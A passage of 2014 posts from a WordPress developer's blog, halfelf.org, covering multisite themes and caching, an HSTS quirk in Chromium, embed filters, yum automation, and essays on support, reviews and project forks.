It’s certainly possible to change settings by detecting the domain, I do that with SSL.
```
if ( $_SERVER["HTTP_HOST"] == "foo.example.com" ) {
// My Code Here
}
```
That’s the easy part. The hard part is keeping that setting when I go from foo.example.com to example.com…
I sat and kicked this idea around for a while. It would be much easier on a single install of WordPress, since I could make everything relative and then just use the host name. But you have to have a way to track the starter domain, and have it be per-visitor, which means you have to use cookies, and read from that, using [setcookie()](http://www.php.net/manual/en/function.setcookie.php) (which is a PHP thing, not WP specific).
At that point, I think I would close the book and say “No, it’s possible, but not a good idea.”
Why, you ask? Caching. How the hairy hell could I possibly cache that if the theme changes every time for every user? Maybe, *maybe*, I would do it with multi-networks, and define a theme per network, but not per-domain. Obviating any caching would pretty much kill my sites, and even a good opcode cache (I use memcache) will be usless in that scenario.
By the way, there are a lot of neato plugins to change themes based on weird things, like [Domain Theme](https://wordpress.org/plugins/domain-theme/), which is great for single installs of WordPress.
**Categories:** How It Works
**Tags:** mailbag, multisite, themes, wordpress
---
### ["Oh yeah. That's a bug."](https://halfelf.org/2014/oh-yeah-thats-a-bug/)
**Published:** July 2, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When developers sound dismissive, don't despair! It's not disdain, but development.
**Content:**
“You’ve been saying you’re working on it for two years! How hard could it be?”
The post made my blood pressure rise a little. I was uncharitable, in my own mind, thinking *Well if you know how to do it, why don’t you get off your whingy ass and do it?* I was snippy, I was snide, I was … let’s face it, I was mean.
But I didn’t say it out loud. I stood up from the laptop and played a round of ping pong with a coworker who is a bazillion times my better (seriously, he’s great) and tried to learn to return spin-serves. I still can’t, but I understand them now. Then, refreshed, I went back and replied.
“I know it sounds really dismissive, but there are more things at play then just slapping a new coat of paint on the system. We have to take into account the following things \[list\]. On top of that, we have to do it all in a way that won’t crash the system and that’s backwards compatible!”
I looked at that for a moment and I sighed. No matter how I explained it, no matter which language I used to demonstrate the complications, the reply was still going to be ‘Don’t make an excuse, just fix it.’

There’s a weird truth about software and development that is the people writing or fixing the code generally don’t get fired up about it in a reactionary way. That’s not to say they’re not passionate, or that I never see them angry or excited, but that they’re sort of a Cool Hand Luke about a lot of things, including their job.
From 1997 to 2012, I worked at a bank. I tapped out just shy of 15 years, and through that time I went from desktop applications to operating systems to server based desktop applications (remote apps) to server deployment. I did a lot. I worked on everything, but I was never what you’d call ‘tech support.’ I did support for developers for about 5 years. At one point, when I was working on the OS side of things, my manager asked if I could help one of the senior VPs with an email issue. I agreed, went to his computer, looked at it, calmly minimized the app, fixed the resolution (yes), and was about to go when they screamed.
“You closed my email!”
I blinked a few times, clicked on maximize, and pointed out I had only minimized it.
My manager apologized for over-reacting, but suggested next time I maximize before I leave the desk. I did not point out that what I was doing was not in my job description at all, but I did agree he had a point and said that I would be sure to leave the PC the way I found it, except fixed. This lesson stayed with me. When I fix your site, I try to leave it the way YOU wanted it.
The next day I had a complaint land in my lap, from the Sr.VP, that I didn’t take the issue serious enough. This was tacked on to the heels of another incident that, at the time, I’d forgotten about, where a server went down, people flipped out and called me, and I said “Uh huh, I see what’s wrong. \*type\* There we go. All better, I’ll fill in the ticket. Sorry about that.”
What was this complaint? I was too cavalier.
I did argue that complaint, and ‘won’ as much as anyone can, because I noted you don’t want the panicking person to run around and scream when they fix your broken stuff, you want *them* to be calm and collected. At the same time, I did learn something important, and that is people need to feel that you do empathize with them and feel their pain. I’m much better at that now than I was in 2001, but in the last thirteen years, I’ve blown my site up enough to know that level of terror in a visceral way.
But for the person who is having the horrible, no good, very bad, day, there’s a lesson for you too! Sometimes when someone says “Yes, we know.” or “Yes, we’re fixing that.” they can sound far more calm and casual than you are, to the point where they seem dismissive, not because they *are* dismissive, but because of their experiences. It’s the same logic behind anyone who handles high-stress situations regularly: we get used to it, and we have managed to overcome our panic.
What does all this have to do with the time you asked for a change and we said “We’re working on it?” We’re calm because we *are* working on it. We sound dismissive because we’ve said many times we’re working on it. We know we don’t have an answer and how much that sucks, but we know (and you know in your heart) that yelling at people to fix it now has never, in the history of ever, actually made someone come to that genius moment faster. Even critical bugs, like Heartbleed, are things everyone tries to fix as soon as possible, but not in a rush or a panic. And if they’re not critical, then we’re generally not going to rush and fix it unless we’re certain we can do it in a way that is safe for everyone, sustainable, and we agree with it.
That sounds like a lot, and it also sounds like an excuse. It’s not. If someone replies “Yes, we’re working on it.” it’s okay for you to ask “Is there anything I can do to help?” It also means you may have to accept that some annoyances are going to stick around for a long time, because they’re complicated, or maybe they require a total rewrite. But as long as they’re communicating with you, they’re not ignore you.
**Categories:** How It Is
**Tags:** development, essay, support
---
### [HSTS and Chromium](https://halfelf.org/2014/hsts-chromium/)
**Published:** June 13, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The canary rolled over dead and broke my site without a care in the world. Thankfully it was fixable, but this is a case where the bad error message was horrifying.
**Content:**
I use Chromium, which is like the super most beta beta of Chrome, for one reason: It lets me run Chrome ‘twice’ in separate environments. I have a reason for it, but it doesn’t matter for the purpose of this post. Neither does the reason why I was editing a subdomain I rarely use. What matters is this.
I went to http://test.ipstenu.org and I got this:

My bp must have dropped because my first thought was “Oh shit, I’ve been hacked!” and I got the cold sweats. After a rant on Twitter and a plea for test help, I determined this was *only* happening on Chromium, which was interested, and my friend Benny pointed me to this Chromium Issue: [Issue 350912: Chrome fetches https URL even when http URL explicitly specified](https://code.google.com/p/chromium/issues/detail?id=350912#makechanges) which sure sounded right.
Now the rest of the error was telling me that test.ipstenu.org was asking I use HTTPS (which it was not) and that the SSL Cert didn’t match that domain (which was correct, but again, there is no SSL cert for that subdomain). Weird, right? Why would it force https when I didn’t ask it to! But what if I was? As I read through the ticket, I saw that you could see the headers better at `chrome://net-internals/#hsts` so I ran that and got this:
```
mode: STRICT sts_include_subdomains:true pkp_include_subdomains:false sts_observed:1402609861.497659 pkp_observed:1402608721.515596 domain:test.ipstenu.org pubkey_hashes: [...]
```
That was odd. I knew I’d set this in my .htaccess file:
```
Header always set Strict-Transport-Security "max-age=15768000; includeSubDomains"
```
But from what I’d read that was getting set only if you accessed the site via HTTPS (or anything on the page was HTTPS). After all, no other browser was acting like this, not even Beta Chrome. Still I turned it off, flushed my server cache, flushed my browser cache, and deleted the TransportSecurity files from Chrome. Now it worked. Turned it back on? Error came back.
It was here I realized “Chromium has decided that if you set HSTS, you mean that everything should be HTTPS regardless of the domain…” Well that’s just peachy! I pulled the HSTS line from .htaccess and instead tossed it into a PHP file for the subdomain(s) where I needed it:
```
header("Strict-Transport-Security:max-age=15768000; includeSubDomains");
```
Now. There are two situations particular to me that make this an epic pain in the ass:
First, I’m using WordPress multisite and I have [SSL turned on for one domain](https://halfelf.org/2014/ssl-for-one-domain-on-multisite/ "SSL for One Domain on Multisite"). Second, I’m using WMH, which means editing my vhosts file to make this work properly is more of a hassle than it’s worth.
[](https://halfelf.org/2014/hsts-chromium/canary/)
Really wouldn’t it make more sense to check “Is this an HTTPS page? No? Okay, skip!” But this is a (to me) departure from the logic train. As my friend James (and I) understood, the logic of HSTS was “If any aspect of the page is HTTPS, force HTTPS” Instead of that happening, if you went to, say, ‘fake.ipstenu.org’ instead of going to my about page (yes, that’s on purpose), it gave me the error. If you go to ‘https://fake.ipstenu.org’ you should get a specific warning page and then a ‘shucky darn!’ page. And yet here I saw that no matter if I picked HTTPS or HTTP, I was forced to HTTPS and that’s just silly.
Does my fix work? Of course. Am I happy? Nope! Oh, and yes, I filed a bug report with Chromium. You can read it at [Issue 384069: HSTS in .htaccess forces https even when not specified](https://code.google.com/p/chromium/issues/detail?id=384069)
**Categories:** How To
**Tags:** browser, google, security, website
---
### [Bad Replies to Bad Reviews](https://halfelf.org/2014/bad-replies-to-bad-reviews/)
**Published:** June 9, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How you handle a bad review is more telling than not having any at all.
**Content:**
My plugin brother, Pippin, wrote an awesome post about [How to leave a *good* bad review](http://pippinsplugins.com/how-to-leave-a-good-bad-review/). In it, he mentions a pretty common kind of email/review:
> Your crappy plugin doesn’t work. Waste of a download..
>
> Hmm.. I should buy pro!
Fairly often, people get those as a review in the WordPress.org forums, and ask me (either as a plugin mod or a forum mod) to remove it. Most of the time, I don’t, and tell them that much.
You see, the issue is not that you got a bad review. We all get them. The issue is how you handle the review. If you get a one-star review slamming your code, and you reply with a reasonable response, then you’ve taken care of the matter in a mature, adult, responsible way. If, instead, you call them names or email them, well then, we’re into the other world.
If you’re demanding people remove a, single, one star review, in general I think you’re being childish. There are exceptions, where people are bitter and mean and everything falls into a hate-fest with slurs and pejoratives being slung around, and personal attacks galore, then you bet I’ll delete the thread. But you’ll probably get flagged for moderation too.

There’s a good way and a bad way to handle a bad review. The bad way comes in two main types: over reactions and under reactions. The unders, thats what you see from people like AT&T or Comcast, who pretty much ignore the complaints and use their power to delete them or shut them down. The overs are people who take their “Oh my god, this customer sucks!” to twitter and everything else, and generally make fools of themselves.
When you’re asking me to delete a forum post that says “This plugin sucks, the author won’t refund me!” and you’ve made no attempt to handle the situation, I nearly always tell you to try first. “Hey, I’m sorry you’re upset. The no-refund policy was clearly stated on the order page, and I did attempt to work with you to resolve this, but you were asking for a major modification to the code that I didn’t feel comfortable with.” The rest of what I said, though, is gleaned from the paragraph long rant about how a three sentence review was hurting his ratings and no one was downloading his plugin anymore. Clearly because of one, erroneous, one star review.
Go back to Pippin’s post. At the end, he shares an exchange with a very good ‘negative’ review, and a very good response. For the most part, that’s not what I see developers and the like doing. What I see is that knee-jerk reaction to an angry post, where hate feeds hate and suddenly you’re getting a bunch of bad reviews because you’ve been feeding the anger, and it’s a circle that ends with no one wanting to use your code because you’re mean.
Recently, a developer who fell into that cycle got ‘busted’ making dupe accounts. Sock puppets, if you will. He used them to try and push his plugins, even though his main accounts were all closed. So we emailed him. We reached out and said “Hey, you know we know this is you. What’s really going on here, man?” And we started talking! He explained his side, we pointed out that the whole thing boiled down to how he’d been mistreating users, and if he could stop that, we were willing to re-enable his account and everything.
The one thing we did not do was delete his old posts, where he’d kind of lost his mind. Those bad events in the past made him who he was, for better of worse, and whitewashing the past did not change it. There was one way to change it, and that was for him to stop acting like that and to move forward, being a better person.
For that same reason, I probably won’t delete that bad review. How it changes your product is not in the deletion but in the handling. If you take the task at hand, rise up and approach it fairly and maturely, it says more about you than anything else. If you are reasonable, thoughtful, and fair, you will have a better result in your reviews than anything else I could do with that deleted. You see, I would sooner trust a product that has bad reviews and good responses, than a plugin that has no bad reviews at all. One is understandable, the other is unrealistic.
And personally? I’d hand over that refund.
**Categories:** How To
**Tags:** administration, development, essay
---
### [Mailbag: Multisite Caching](https://halfelf.org/2014/mailbag-multisite-caching/)
**Published:** June 27, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Do as much for your users so they don't have to think or worry. And cache what you can catch safely!
**Content:**
Dave has a question abtou Multisite and caching!
> I asked about caching on multisite setups. I’ve got 10 of these, with between 10-50 sites added to each- and the content is static- never going to change it much. I have a feeling I could benefit from caching, you recommended server side. I could use some help here. I know your site says you’re maxed out time wise- I’m thinking I just need someone to help me with one site, and show me what to do. Or, if they want to set things up on all of them. Do you have any recommendations?
>
> Thanks again for the help.
>
> Dave
Caching! There are three main types: plugin, server, and proxy.
Plugin caching is WP Super Cache, or W3TC, and it’s letting WP make a static cache file on demand. Server caching is APC/Memecached and such, which lets the server make a dynamic cache. Proxy caching is Varnish and the like, which puts a cache before the WordPress server, kind of like a static file on another server.
Which one is best for Multisite with static content? Probably a proxy cache there. Though I’m going to go out on a limb and say if you’re not using WordPress for all it’s useful for, maybe you don’t need it at all. If you have a pretty static site, where you’re not changing content all that much, there’s nothing wrong with static HTML. But if you want to use WordPress (like you’re a WordPress only shop) then you have to consider the options. What is your site doing?

This is actually not a Multisite Question so much as a cache management question. The part that’s multisite specific is who to you let manage what aspect of the cache. I maintain a plugin called [Varnish HTTP Purge](https://wordpress.org/plugins/varnish-http-purge/), which is a pretty basic plugin that checks for common actions, like posting or commenting, and flushes your cache selectively on Varnish when those things happen. One of the Multisite specific issues with that code came up when I added in a new feature: Purge Cache.
That feature lets you press a button to flush the *whole cache*. Pretty cool, right? The problem was Multisite with Subfolders. See, the way the cache flushes is to say “Dump everything under domain.com!” which works fine with subdomain sites, as that will only flush domain.com and not foo.domain.com. On a subfolder, though, it’ll flush domain.com, domain.com/foo/ and domain.com/bar/ and everything else. That would suck! So the best thought I had was I should lock the flush down to Super Admins only on the main site on a subdomain setup. Normally I allow the site admin to flush their own cache, but this way only the Super Admin could make a full flush.
And that’s the crux of the issue with caching on Multisite. Do you want each admin to maintain their own cache? Do you want it to be something you control for everyone? W3 Total Cache can do that, by the way. You can do it both ways with that plugin, and only control what you want to control for the network. But what about if even I don’t want to do that? What if I want to be lazy and trust my tools? That’s when you look at the server itself and try to make it as brainless as possible. Decisions, not options, remember?
And that brings up another question. Why do I want to manage who flushes at all? In my Varnish example, it’s because careless flushing clears the *whole* cache, which means my server and site have to recache everything and it slows everyone down. Obviously I want to limit that as much as possible. The other reason is work. People who have a managed hosting site generally aren’t the most technical savvy users in the world. Some are, of course, but many are more likely the ones who don’t want to know about the crazy server stuff. This is great, but it means I want to make their life easier so I have to provide less support, then I want things that do their job and do it well, and that means taking options away and making decisions for them.
How would I cache a static Multisite network and fully control it as a network admin? Probably server side caching like Varnish or ZendAccelerator Memcache. If I can’t do that, I’d use W3TC and lock it down so only I, the super admin, in my fancy cape, can edit settings and purge the cache. And always, always, remember to only catch what should be caught in your cache. If you have a site that’s a store, account for that.
**Categories:** How To
**Tags:** cache, mailbag, multisite, wordpress
---
### [The Wheel Is Fine](https://halfelf.org/2014/wheel-is-fine/)
**Published:** June 23, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Don't reinvent the wheel, unless the wheel needs it.
**Content:**
“I have an idea for a plugin!” he said to me. Everyone does, but I encouraged this question. “I want to make the media embeds in WordPress more responsive.” I paused. There are already a lot of those, like [Responsive Video Shortcodes](https://wordpress.org/plugins/responsive-video-shortcodes/). So I asked what made his different. “I’m going to make *NEW* shortcodes!”

I see a lot of plugins. Many times I see plugins where people want to tweak a normal part of WordPress, like the gallery or the embeds. The problem I see is that instead of *extending* those, they decide it’s better to make a plugin that recreates all the shortcodes and embeds, but with a new name, so users have to remember to use `` (which is default to WordPres) or `[youtube]` (which is in Jetpack) or `[someothervideotool]` (which I made up for an example).
Now I’m guilty of this myself! I have a private plugin which is HTML5 video embeds and it gives the video in HTML5 format, which I could do in the default embed code, but it *also* plunks a link underneath that says “Can’t see the video? Click here.” And the Click Here goes right to the mp4 video. Because I have some rather dim people. But. I don’t have to reinvent the wheel here. I could instead filter that shortcode just to put my little blurb on the end! Doesn’t that seem smarter?
The first time I thought about this, I said “What I need is to filter and slap something on the end!”
```
function halfelf_oembed_filter($html, $url, $attr) {
$html .= "I am a monkey.";
return $html;
}
add_filter( 'embed_oembed_html', 'halfelf_oembed_filter', 10, 3 );
add_filter( 'video_embed_html', 'halfelf_oembed_filter', 10, 3 );
```
This puts “I am a monkey” below every embed, which is great for stuff like YouTube and Twitter. The second filter is for videos when you’re using Jetpack. And this works great, I could even wrap the HTML in something, like a div or js code, and enforce responsiveness. You can check the URLs, see if it’s youtube or whatever, and apply different settings per URL. Works nicely. I actually have my just div-wrapping for padding reasons.
```
$html = "".$html."";
```
This works brilliantly, *however* … I’ll get to that in a second. Now, for my friend’s initial idea, once we banged on this, he said he was just going to use the other plugin, but embed-filtering was way easier than trying to over-ride the shortcodes and reinvent the wheel. It also makes it easier to upgrade.
But then there’s my problem with my site and the need for that “Hey, get the MP4 here!” message. You see, 90% of the videos I have on this particular site are locally uploaded, and since I always upload an mp4 *and* a webm (and sometimes an ogg), how do I parse it?

First of all, I’m using the [Video Shortcode](https://codex.wordpress.org/Video_Shortcode), so I know there’s a simple filter for `wp_video_shortcode_override` (it works roughly the same as [` img_caption_shortcode`](https://codex.wordpress.org/Plugin_API/Filter_Reference/img_caption_shortcode) but that’s not what I want to use. I don’t want to replace everything, that’s my whole point here. I just want to make a link! In addition, I know I’m *only* going to want this when I have a video with a defined mp4, so why not just filter `wp_video_shortcode` instead?
So that’s what I did:
```
function halfelf_video_shortcode($html, $attr) {
if ( !empty( $attr['mp4'] ) )
{
$html .= "Can't see the whole video? Click here.";
}
return $html;
}
add_filter( 'wp_video_shortcode', 'halfelf_video_shortcode', 10, 2);
```
This slaps a link for my tech challenged friends on browsers that refuse to tolerate videos.
**Categories:** How To
**Tags:** design, shortcode, wordpress
---
### [Yum!](https://halfelf.org/2014/yum/)
**Published:** June 18, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Saving time from compiling with RPM, yum, and scripts.
**Content:**
I’ve touched on it a couple times, and it’s related to [why I love things like Homebrew](https://halfelf.org/2014/its-not-beer-its-homebrew/ "It’s Not Beer It’s Homebrew"), but I like package installers. While I can, and have many times, installed and packaged from source, it scares me and I don’t like it. When I talked about Homebrew, I mentioned in passing that I use yum to manage packages on my servers, and someone asked me “What’s that?”
When I started this blog in 2009, the very first post was about understanding how to mess with my VPS and tweak it to work well with WordPress and everything else. In the five years since, I’ve learned a great deal about servers, tweaks, how to break things, but also how to upgrade them smartly. I’ve had struggles with SVN and GIT, but I understand that managing versions and revisions is a sane way to handle upgrades. But at the same time, not compiling code means I have more free time to mess with the stuff I like.
This brings us to [Yum](https://fedoraproject.org/wiki/Yum?rd=Tools/yum).
Yum is a software package manager manager, which means it checks various RPM Package Managers, sees if there is software you have that has an update, and updates it. An RPM Package Manager (or an RPM, yes, it’s a recursive acronym, just like PHP) stores packaged versions of code… I have a feeling someone’s looking at me like I spoke a new language.
Let’s step back further. Your server is a computer and runs software. Most people have the experience of installing software via packaged installers (I used to make them for a living). When you download an app onto your phone, the phone downloads the package and runs the installer. This is similar to WordPress, right? You download the zip, unpack it, and run an installer. But your server, well, for a very long time people didn’t have installer packages, they had source code. The source code was downloaded, unzipped (hush, you know what I mean), *compiled*, and then installed.
[](https://xkcd.com/303/)Credit: xkcd comic “Compiling”Yes, compiling code takes a long time. That joke is less funny than it is accurate to some of us. It’s not something most of us do any more, though, because code now tends to come pre-compiled, and that’s where package managers come into play. You see, someone realized that they could pre-compile code for all servers. It’s not the same code for all the servers, though, because there are so many flavors of servers, it’s mind boggling.
But that said, if you know your flavor of server, you can use an RPM that matches to install software. So the RPM is like a massive server that has all the available installs for your server. When you add in yum, which installs the packages, you can then enter a world of automation where every night your server checks for new packages and installs them!
Yum has a meaning. “Yellowdog Updater, Modified.” I didn’t say it was a good meaning. Yum has a bunch of obvious commands like “yum install NAME” and “yum update” which you can use to install extra add-ons like Memcached and so on. There are also yum utilities ([yum-utils](http://yum.baseurl.org/wiki/YumUtils), which let you further customize automation by scripting commands.
Just to touch on one at random, today I got an email from my server saying that it had run `/usr/bin/yum -c /etc/yum.conf -y update` for me. This is normal, I configured it to do that at midnight every day.
> There are unfinished transactions remaining. You might consider running yum-complete-transaction first to finish them.
Now it did run the rest of the installs, so I did what any smart person does. I went and looked up this new command, only to find a string of bug reports from 2007-2009. It’s 2014, so I went and ran it once. It cleaned up one package and said I had another 244 left. Interesting. I ran it again. 243. I saw my day flash before my eyes and then decided to run the safer version:
```
yum-complete-transaction --cleanup-only
```
Safer and faster. Everything was cleaned, and update runs great now.
Is there a risk with this automation? Of course! Which is why I take a backup every night, right before the update happens. I’m not crazy after all.
**Categories:** How It Works
**Tags:** administration, essay, servers
---
### [Not Everything is WordPress](https://halfelf.org/2014/not-everything-is-wordpress/)
**Published:** June 16, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There's more than one way to skin a cat.
**Content:**
I touched on this when I talked about a [project that forked](https://halfelf.org/2014/when-the-fork-breaks), and I’ve said it before. I don’t use WordPress for everything, and I don’t think I should.
A lot of you will probably disagree with me, especially since it’s well known much of what I love about WordPress is the fact that I don’t have to remove features. The problem is where WordPress started from has determined what kind of product it will be. But let me step back.
When I spoke at WordCamp Miami, I said that the kind of WordPress user you are defines the future you will have with WordPress. What we are before WordPress is what makes us use it the ways we do, and the way we use it makes us who we are today. That makes sense, I hope. What we are is what makes us do what we do.
So WordPress started as a blog. This means that no matter how many times we say “It’s a CMS and you can use it for anything!” it still shows blog at it’s heart. I use it for a store, it’s great at it, but there are aspects that remain bloggy. Similarly, MediaWiki was an ‘encyclopedia’ first, so while I know people who blog on it, it’s made for that cross-referencing. Certainly plugins can make these products fit the bill but at their base, you’re talking about the fundamental core of a product.
Step back again.
This is something I think is totally okay.
I don’t buy a scooter and get upset it’s not a motorcycle. I don’t buy a tank and get upset that the Fiat has better gas mileage. I understand that each tool has its place, and while I certainly can tow a trailer with the Mini Coop, I’d rather use the truck. And that’s what I mean when I say WordPress shouldn’t be everything.
If I was to use WP as a wiki, and I have, I end up disliking the edit/comment relationship. Regressions are easier with revisions, but prelinking pages and moving them is easier with MediaWiki. Image uploads? Easier on WordPress, as are updates (and don’t get me started on extensions), and html editing in a Wiki can make me drink. At the same time, I have a more flexible template situation, where I can have one that formats a whole page or just bits of one in easy, repeatable ways.
Both projects have a lot to learn from each other. Both should steal bits from each other. But I think both should be separate because I will always have places were WordPress is a better fit than plain HTML or a wiki or a gallery. Oh, yes, I still use plain HTML in some places. I use [Reveal.js for slides](https://halfelf.org/2014/all-is-revealed/ "All is Revealed"). I experiment and find the right tool for the right job.
Step back again. I got new furniture on my birthday, and it was flatpacked. That means it came with a couple allen wrenches. You know the crappy Ikea L-shaped thing?

Right. After I put together one chair I announced “Fuck this” to myself and got my ratcheting screwdriver with swappable bits. There was one for this size, I switched to it, and finished three more chairs in the time it had taken me to do one. The tools were similar, but clearly different, and one was better than the other. One was easier, though, in that the chairs came with the less perfect one.
It seems clear cut, doesn’t it? The one I bought was better than the one they gave me. Duh! That’s how I feel about software. Sometimes what I have isn’t right and I have to go get that other one. But I’m willing to experiment, to try, and to be wrong in order to get to what’s right. And ‘right’ means right for *me* and how I want to use it, not you, which is why WordPress has a bajillion plugins that do similar things.
There is not one right way to skin a cat. So why do you think there should be one right CMS?
**Categories:** How It Is
**Tags:** cms, essay, open source
---
### [When the Fork Breaks](https://halfelf.org/2014/when-the-fork-breaks/)
**Published:** June 11, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** In the night kitchen, we ponder forking products to make new cakes.
**Content:**
One morning I awoke to see that one of the lead developers on an open source product was leaving because of ‘creative differences.’ Those are my words. His were a little more angry and frustrated, because it was clear these differences were in the direction of the product. He felt stifled and restrained, saying that the grip the original developer had on the product was at odds with allowing the community to develop it going forward, and he was tired of the fight.
So he forked it and moved on.

Regardless of what product this is (and really it doesn’t matter), the decision on **my** end is whom should I follow?
On the one hand, this is the lead dev who has applied most (if not all) of the patches I’ve submitted. On the other, the original dev has been working on this for over a decade. Then again, the jump to making this a product I wanted to use happened when the new devs, including the forker, came on board. And the original dev is clearly facing a case of founderitis, where there’s his way or the highway, and not accepting the fact that open source products develop in their own life.
Taking a deep breath, I do not mean to trivialize the issues here. When angry-making things happen, they happen for more reasons than we can see, and we know that there are always, always, two sides to the issues. At the same time I am not a part of the angry and it’s not my business to delve deep into it, save to come to a place where I can make my educated, thoughtful decision.
I do have to worry about the stability of both products. How much was this one dev (or these few devs) the cornerstone of the product? Of the features added, whose do I use and like more? Of the ongoing philosophies, which do I more align with? How easy will it be to support the separate version? Do I think this guy is up for it?
None of this is easy! It’s a jump of who do I trust more, and much of it is a gut feeling. I review the code, I match the changes, and I base my choices on what makes me feel better. But … what about when I’m not a coder? It’s even harder. I have to wait and see which is better, which devs jump with, which *users* I respect join forks, and even then I know if I wait too long, it’ll be hard to move.
I moved my photo gallery from a home grown site to Gallery2 to ZenPhoto. I know the pain of hating the changes in a product. I know the pain of forking. But even so, I still can’t tell you how to make that call because even I don’t know.
All of it depends.
**Categories:** How It Is
**Tags:** development, essay, freedom, open source
---
### [Support Politeness](https://halfelf.org/2014/support-politeness/)
**Published:** June 2, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's not overrated, it's not out of date, and it's something you need to do in all things.
**Content:**
I had a great time at WordCamp Miami, talking about becoming a WordPress hero and inspiring people to do more in WordPress even when they can’t code. I helped people figure out how to approach their favorite theme shops and plugins and suggest that perhaps they could fix documentation. I networked and met a lot of people who opened their eyes to opportunities. I told them the truth: companies ask *me* if there are more people like me to help answer questions.
One of the off the cuff comments I made in my talk was that people think that support is the ‘low end’ of WordPress because that’s how they treat it. What I meant was that I see a lot of people look at support, dismissively, and say “Well that’s a low end job for dumb people who can’t code.” and honestly I want to grab them by their shirt and shout “You’re the dumb person!” I don’t, mostly because that would get me arrested, but also because it won’t help.
Let me explain by telling you about my flights to and from Miami.
I live by a tiny airport, and I always have to transfer at either DFW or ORD. I went through DFW on the way to Miami, but I almost didn’t. As we got on the plane, they announced there was a horrible storm and we were all de-planing. No flights were going to DFW. So we all started calling American (my airline of choice) about options, and the crew removed luggage. Then I overheard the gate agent say that if people did *not* have any checked luggage, including gate-check, they could get them on the next flight to DFW. I rushed over, asked if I could get on the flight, and had a ticket in my hand. I said thank you very much. So did the people behind me.
When I got to DFW, I found the second half of my flight was canceled, so I went to the gate and asked about it. The gate agent was harried and I told her “You know what, take your time. Do you need me to step back?” She looked at me and asked if I’d mind ‘blocking’ for her, just standing there and acting as if I was being helped, so she could sort out other things. I agreed, and proceeded to say things like “I can’t believe how helpful you are, how dare you be so accommodating!” until she laughed too hard and made me stop. Then she pulled my information up and bumped me to a better seat. As she did so, they told her the plane had been diverted and she asked me not to tell anyone. I thanked her, agreed (though I told my family my flight was delayed), and we watched a tornado pass by.

If you can’t tell, I was nice to the people giving me support. I was polite, I treated them with respect, and I made sure to take a moment to tell them I appreciated their work.
You see, the problem with support is that it’s low end because that’s how *you* treat it. Certainly, when I call Time Warner and tell them “My DNS tables aren’t refreshing, I can’t get to this domain, how do I refresh them on my modem?” and they ask me “Did you reboot?” I get annoyed. I make sure to tell them, exactly, what I did, I ask them how to do things I’m less familiar with, and I say thank you when they explain things. But when they ignore what I ask to follow their scripts, yes, I get frustrated. I appreciate what they do, but they created a situation where my service is problematic and my experience was sub par because the way they’re told to handle people is to follow a script.
Let’s go back to airports. Sometimes things happen outside the control of anyone, like weather. When I was at ORD, my flight got grounded due to lightning on the tarmac. And when I say that, I mean we watched lightning hit the tarmac in front of us. It was a microburst storm, so we waited it out, boarded the plane, and then got hit by another storm. This storm was so bad, the whole airport was grounded for 6 hours. I spent four hours getting my flight sorted because *all the flights* were canceled. Did I get mad? Nope! It was not American’s fault all the flights got canceled, and it wasn’t their fault everyone’s calling to get help. When I finally got a hold of someone, I told her what happened and asked if she could get me home. She said she could get me on the first flight out and I said “Oh my god, I love you!” You see, I’d heard all these other people from my flight get multiple leg trips to our small airport, or not even to ours. And here I got an exit row aisle seat. I thanked her, and went to a gate to get my pass printed. When the gate agent did that, I said thank you for the extra work.
That’s when something amazing happened. The woman beside me did a double take and said “That’s right! Thank you very much, we do appreciate this!” And people around us suddenly looked sheepish and started muttering thanks. A small angry group became calm and polite. The gate agents told us where we could get pillows and blankets, and when I went there, I also said thank you. The same thing happened. People around me stopped snatching pillows and complaining, and they started being humans again.
I changed the feeling of support. I made the people helping me feel respected and needed, which they were. I made the people around me remember that these people were providing a service above and beyond the norm. I changed support from being a low-end situation to a valued service.
When you deal with support, when you have a problem and ask for help, remember that. We know you’re having a terrible day. Take a moment to breath deeply, calm yourself, and thank the people helping you. When you treat support like crap, you get crap support. It’s as simple as that. I’ve been out with WordPress folks and seen them lose their shit on coffee barristas, and I’ve told them “If you treated me like that in the forums, I’d ban you.” It slaps them in the face, because they forget somewhere down the line that humanity is what makes us human.
If you want more people like me in the support world, and I know you do, you need to start with yourself. Check yourself, treat people how you want to be treated, and when you read what they say, assume the best intentions.
And say thank you. It will change everything.
**Categories:** How It Is
**Tags:** essay, support
---
### [Mailbag: I want to make WordPress.com](https://halfelf.org/2014/mailbag-wordpress-com/)
**Published:** May 16, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Thoughts on if one should, or should not, try to run their own network of unrelated sites.
**Content:**
Justin is not the only person who’s asked me this one, and it boils down to “How do I run my own wp.com?”
I wouldn’t. It’s insane, and if you want just an *inkling* as to how frustrating it is, spend 8 hours a day, for 2 days, doing free support in the WordPress.*com* forums. That’s going to be your life. If you hate it, don’t do it. And more to the point … I don’t feel we need more generic ‘Anyone can host here.’ sites. The most successful modern one is Medium, which doesn’t give you a site like ‘ipstenu.medium.com’ but instead just share-posts everything. I’m personally not sold on the efficacy of it, but my point is I feel these gateway blogs are less and less necessary, the better we make WordPress software. We’re lowering the bar for people to own their own sites.
If *IF* I was going to consider it, I’d be looking at it from the aspect of a small group of people. For example “A network for small town newspapers.” I take care of the servers and code, they just write. That’s a smaller, niche, market, but also one that probably can’t afford VIP WordPress.com. You can always expand, after all.
But Justin actually has a security concern. Let me share in his own words:
> I want to build a service like wp.com, blogger.com but with free and commercial themes and plugins. Drag and Drop themes (Headway, Ultimatum), plugins (Visual Composer). If my site is feature-loaded, people will come, is’t that right? But I wonder why people don’t use all those nice software to build better than those companies. I want to ask, is it because people can insert malicious codes in css and javascript code editors?
Yes and no.
Its not the malicious codes in CSS and JS, though that is a concern. WordPress.com has a CSS editor that you can pay extra for, and the question many people ask is “Why isn’t that *free*?” The issue isn’t with security, it’s support. Frankly, people who need (note the word ‘need’) a managed site like that generally haven’t a clue what they’re doing in CSS for design. They need those baked and locked themes because they’re not ready for the rest without a conscious choice and a monetary investment. You’re paying more for something, ergo it’s worth more.
